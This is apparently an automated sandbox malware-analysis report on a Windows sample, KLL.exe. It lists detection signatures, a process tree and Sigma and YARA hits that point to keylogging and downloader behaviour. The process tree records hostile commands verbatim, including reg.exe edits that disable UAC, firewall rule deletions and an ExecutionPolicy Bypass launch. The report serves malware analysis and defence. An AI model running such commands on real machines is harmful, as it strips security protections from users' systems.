Edit tour

Windows Analysis Report
KLL.exe

Overview

General Information

Sample name:	KLL.exe
Analysis ID:	1477193
MD5:	ff9006e15bbe8f6c9a4ac2ddb14ac37e
SHA1:	c9b380c608b6e8f9ce45c13a72ed15c21043661a
SHA256:	2daa8d76a918b1d3d30b25130a741a4612f5ac5c2dba186225992e7783ea0458
Tags:	exe
Infos:

Detection

Score:	54
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Bypasses PowerShell execution policy

Connects to many ports of the same IP (likely port scanning)

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Loading BitLocker PowerShell Module

Modifies the DNS server

Modifies the windows firewall

Performs a network lookup / discovery via ARP

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Sample is not signed and drops a device driver

Uses cmd line tools excessively to alter registry or file data

Uses ipconfig to lookup or modify the Windows network settings

Uses known network protocols on non-standard ports

Uses netsh to modify the Windows network and firewall settings

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for available system drives (often done to infect USB drives)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates driver files

Creates files inside the driver directory

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables driver privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Tap Installer Execution

Stores files to the Windows start menu directory

Stores large binary data to the registry

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

KLL.exe (PID: 5516 cmdline: "C:\Users\user\Desktop\KLL.exe" MD5: FF9006E15BBE8F6C9A4AC2DDB14AC37E)

cmd.exe (PID: 6404 cmdline: C:\Windows\system32\cmd.exe /c ipconfig /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 2220 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

netsh.exe (PID: 4484 cmdline: "C:\Windows\System32\netsh.exe" -f C:\ProgramData\In82D.xml MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 1276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4752 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\R62ra.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 1784 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 1628 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 1772 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 2616 cmdline: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\33100\Wo077~m7\s+C:\ProgramData\33100\Wo077~m7\a C:\ProgramData\33100\Wo077~m7\uc_guilib.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4676 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

mmc.exe (PID: 320 cmdline: C:\Windows\system32\mmc.exe -Embedding MD5: 58C9E5172C3708A6971CA0CBC80FE8B8)

uc_ctrl.exe (PID: 5792 cmdline: "C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe" MD5: 8AA07B7C6C632F4EDF07A0E2B91F8566)

cmd.exe (PID: 7256 cmdline: C:\Windows\system32\cmd.exe /c ipconfig /all MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 7320 cmdline: ipconfig /all MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

mmc.exe (PID: 7192 cmdline: C:\Windows\system32\mmc.exe -Embedding MD5: 58C9E5172C3708A6971CA0CBC80FE8B8)

letsvpn-latest.exe (PID: 7244 cmdline: "C:\ProgramData\letsvpn-latest.exe" MD5: 7CE62DC191CEE9DD1488C9D0A25FEDA4)

powershell.exe (PID: 7328 cmdline: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7720 cmdline: powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tapinstall.exe (PID: 8040 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)

conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tapinstall.exe (PID: 8096 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7400 cmdline: cmd /c netsh advfirewall firewall Delete rule name=lets MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7464 cmdline: netsh advfirewall firewall Delete rule name=lets MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 7352 cmdline: cmd /c netsh advfirewall firewall Delete rule name=lets.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 5632 cmdline: netsh advfirewall firewall Delete rule name=lets.exe MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 1524 cmdline: cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 3752 cmdline: netsh advfirewall firewall Delete rule name=LetsPRO.exe MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 3236 cmdline: cmd /c netsh advfirewall firewall Delete rule name=LetsPRO MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7112 cmdline: netsh advfirewall firewall Delete rule name=LetsPRO MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

tapinstall.exe (PID: 4980 cmdline: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901 MD5: 1E3CF83B17891AEE98C3E30012F0B034)

conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

LetsPRO.exe (PID: 7764 cmdline: "C:\Program Files (x86)\letsvpn\LetsPRO.exe" MD5: 8FC872149F0B8D2FB3D75C4076C0A8CA)

LetsPRO.exe (PID: 7812 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" MD5: D664FB656FC05BE54EA49950688BE980)

cmd.exe (PID: 7040 cmdline: "cmd.exe" /C ipconfig /all MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 8128 cmdline: ipconfig /all MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cmd.exe (PID: 7436 cmdline: "cmd.exe" /C route print MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ROUTE.EXE (PID: 7488 cmdline: route print MD5: C563191ED28A926BCFDB1071374575F1)

cmd.exe (PID: 7368 cmdline: "cmd.exe" /C arp -a MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ARP.EXE (PID: 7564 cmdline: arp -a MD5: 4D3943EDBC9C7E18DC3469A21B30B3CE)

dllhost.exe (PID: 4980 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 7268 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

drvinst.exe (PID: 7356 cmdline: DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\oemvista.inf" "9" "4d14a44ff" "0000000000000158" "WinSta0\Default" "0000000000000168" "208" "c:\program files (x86)\letsvpn\driver" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)

drvinst.exe (PID: 1644 cmdline: DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000184" MD5: 294990C88B9D1FE0A54A1FA8BF4324D9)

svchost.exe (PID: 4764 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3852 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7912 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1888 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WmiApSrv.exe (PID: 3148 cmdline: C:\Windows\system32\wbem\WmiApSrv.exe MD5: 9A48D32D7DBA794A40BF030DA500603B)

LetsPRO.exe (PID: 3836 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent MD5: D664FB656FC05BE54EA49950688BE980)

LetsPRO.exe (PID: 1772 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" "/silent" MD5: D664FB656FC05BE54EA49950688BE980)

LetsPRO.exe (PID: 1272 cmdline: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent MD5: D664FB656FC05BE54EA49950688BE980)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Program Files (x86)\letsvpn\Update.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: LetsPRO.exe PID: 7812	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
55.2.LetsPRO.exe.684b0000.20.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Sigma Signatures

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine|base64offset|contains: )f, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 7244, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", ProcessId: 7328, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe, ProcessId: 7812, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LetsPRO

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe, ProcessId: 7812, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3vfwkdec.5vl.ps1

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\33100\Wo077~m7\s+C:\ProgramData\33100\Wo077~m7\a C:\ProgramData\33100\Wo077~m7\uc_guilib.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\33100\Wo077~m7\s+C:\ProgramData\33100\Wo077~m7\a C:\ProgramData\33100\Wo077~m7\uc_guilib.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KLL.exe", ParentImage: C:\Users\user\Desktop\KLL.exe, ParentProcessId: 5516, ParentProcessName: KLL.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\33100\Wo077~m7\s+C:\ProgramData\33100\Wo077~m7\a C:\ProgramData\33100\Wo077~m7\uc_guilib.dll, ProcessId: 2616, ProcessName: cmd.exe

Sigma detected: Tap Installer Execution

Source: Process started

Author: Daniil Yugoslavskiy, Ian Davis, oscd.community: Data: Command: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, CommandLine: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, CommandLine|base64offset|contains: )^, Image: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, NewProcessName: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, OriginalFileName: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 7244, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: "C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901, ProcessId: 8040, ProcessName: tapinstall.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", CommandLine|base64offset|contains: )f, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\ProgramData\letsvpn-latest.exe" , ParentImage: C:\ProgramData\letsvpn-latest.exe, ParentProcessId: 7244, ParentProcessName: letsvpn-latest.exe, ProcessCommandLine: powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }", ProcessId: 7328, ProcessName: powershell.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c ipconfig /all, CommandLine: C:\Windows\system32\cmd.exe /c ipconfig /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KLL.exe", ParentImage: C:\Users\user\Desktop\KLL.exe, ParentProcessId: 5516, ParentProcessName: KLL.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c ipconfig /all, ProcessId: 6404, ProcessName: cmd.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4676, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: KLL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\s\Utils\obj\Release\Utils.pdb source: LetsPRO.exe, 00000044.00000002.2764349609.0000000003022000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\net462\System.Runtime.InteropServices.RuntimeInformation.pdb source: LetsPRO.exe, 00000037.00000002.3948589910.0000000005BC2000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: D:\MdXaml\artifacts\obj\MdXaml\Release\net45\MdXaml.pdbSHA256/T source: MdXaml.dll.18.dr
Source:	Binary string: D:\a\1\s\LetsVPN\obj\Release\LetsPRO.pdb source: LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: /_/artifacts/obj/System.Configuration.ConfigurationManager/net461-windows-Release/System.Configuration.ConfigurationManager.pdbSHA256h source: System.Configuration.ConfigurationManager.dll.18.dr
Source:	Binary string: D:\simba9_pc\trunk\simba9\bin\Release\bin\uc_ctrl.pdb22 source: uc_ctrl.exe, 00000010.00000000.2190373337.000000000077A000.00000002.00000001.01000000.00000009.sdmp, uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, uc_ctrl.exe, 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.Xml/net461-windows-Release/System.Security.Cryptography.Xml.pdb source: System.Security.Cryptography.Xml.dll.18.dr
Source:	Binary string: c:\git\OSS\notifyicon-wpf\Hardcodet.NotifyIcon.Wpf\Source\NotifyIconWpf\obj\Release\Hardcodet.Wpf.TaskbarNotification.pdb source: LetsPRO.exe, 00000037.00000002.3970917847.0000000031182000.00000002.00000001.01000000.00000032.sdmp
Source:	Binary string: C:\Users\eric\dev\cb\bld\bin\e_sqlite3\win\v141\plain\x86\e_sqlite3.pdb source: LetsPRO.exe, 00000037.00000002.4049459273.0000000067B47000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: c:\users\samuli\opt\tap-windows6-mattock\tapinstall\7600\objfre_wlh_amd64\amd64\tapinstall.pdb source: tapinstall.exe, 0000001D.00000002.2469928545.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001D.00000000.2466685704.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000002.2516221228.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 0000001F.00000000.2470214690.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000000.2533730870.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp, tapinstall.exe, 00000034.00000002.2535669644.00007FF69DC91000.00000020.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Analytics.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3958682175.000000002F412000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\WorkShop\WebSocket4Net\WebSocket4Net\obj\Release\WebSocket4Net.pdb source: LetsPRO.exe, 00000037.00000002.4009260053.0000000038042000.00000002.00000001.01000000.00000039.sdmp
Source:	Binary string: D:\a\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdbon source: Microsoft.Web.WebView2.Wpf.dll.18.dr
Source:	Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3948003758.0000000005B22000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: /_/artifacts/obj/System.IO.Ports/net461-windows-Release/System.IO.Ports.pdbSHA256T source: System.IO.Ports.dll.18.dr
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.pdb source: LetsPRO.exe, 00000037.00000002.3959182025.000000002F702000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdb source: LetsPRO.exe, 00000037.00000002.3965361357.00000000300D2000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: LetsPRO.exe, 00000037.00000002.4003909720.0000000037DB2000.00000002.00000001.01000000.0000003B.sdmp
Source:	Binary string: /_/CommunityToolkit.Mvvm/obj/Release/netstandard2.0/CommunityToolkit.Mvvm.pdb source: LetsPRO.exe, 00000037.00000002.3948003758.0000000005B22000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: C:\Users\eric\dev\SQLitePCL.raw\src\SQLitePCLRaw.batteries_v2.e_sqlite3.dynamic\obj\Release\netstandard2.0\SQLitePCLRaw.batteries_v2.pdbSHA256 source: LetsPRO.exe, 00000037.00000002.3965361357.00000000300D2000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: C:\projects\sharpcompress\src\SharpCompress\obj\Release\net45\SharpCompress.pdbL source: SharpCompress.dll.18.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: uc_ctrl.exe, 00000010.00000002.3915071580.0000000073AB1000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Release\net461\Microsoft.AppCenter.Crashes.pdb source: LetsPRO.exe, 00000037.00000002.3958799294.000000002F422000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: D:\a\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb source: Microsoft.Web.WebView2.Wpf.dll.18.dr
Source:	Binary string: D:\a\1\s\LetsVPNDomainModel\obj\Release\LetsVPNDomainModel.pdb source: LetsPRO.exe, 00000047.00000002.2766524594.0000000003262000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.Xml/net461-windows-Release/System.Security.Cryptography.Xml.pdbSHA256 source: System.Security.Cryptography.Xml.dll.18.dr
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel\4.0.1.0\System.ComponentModel.pdb source: System.ComponentModel.dll.18.dr
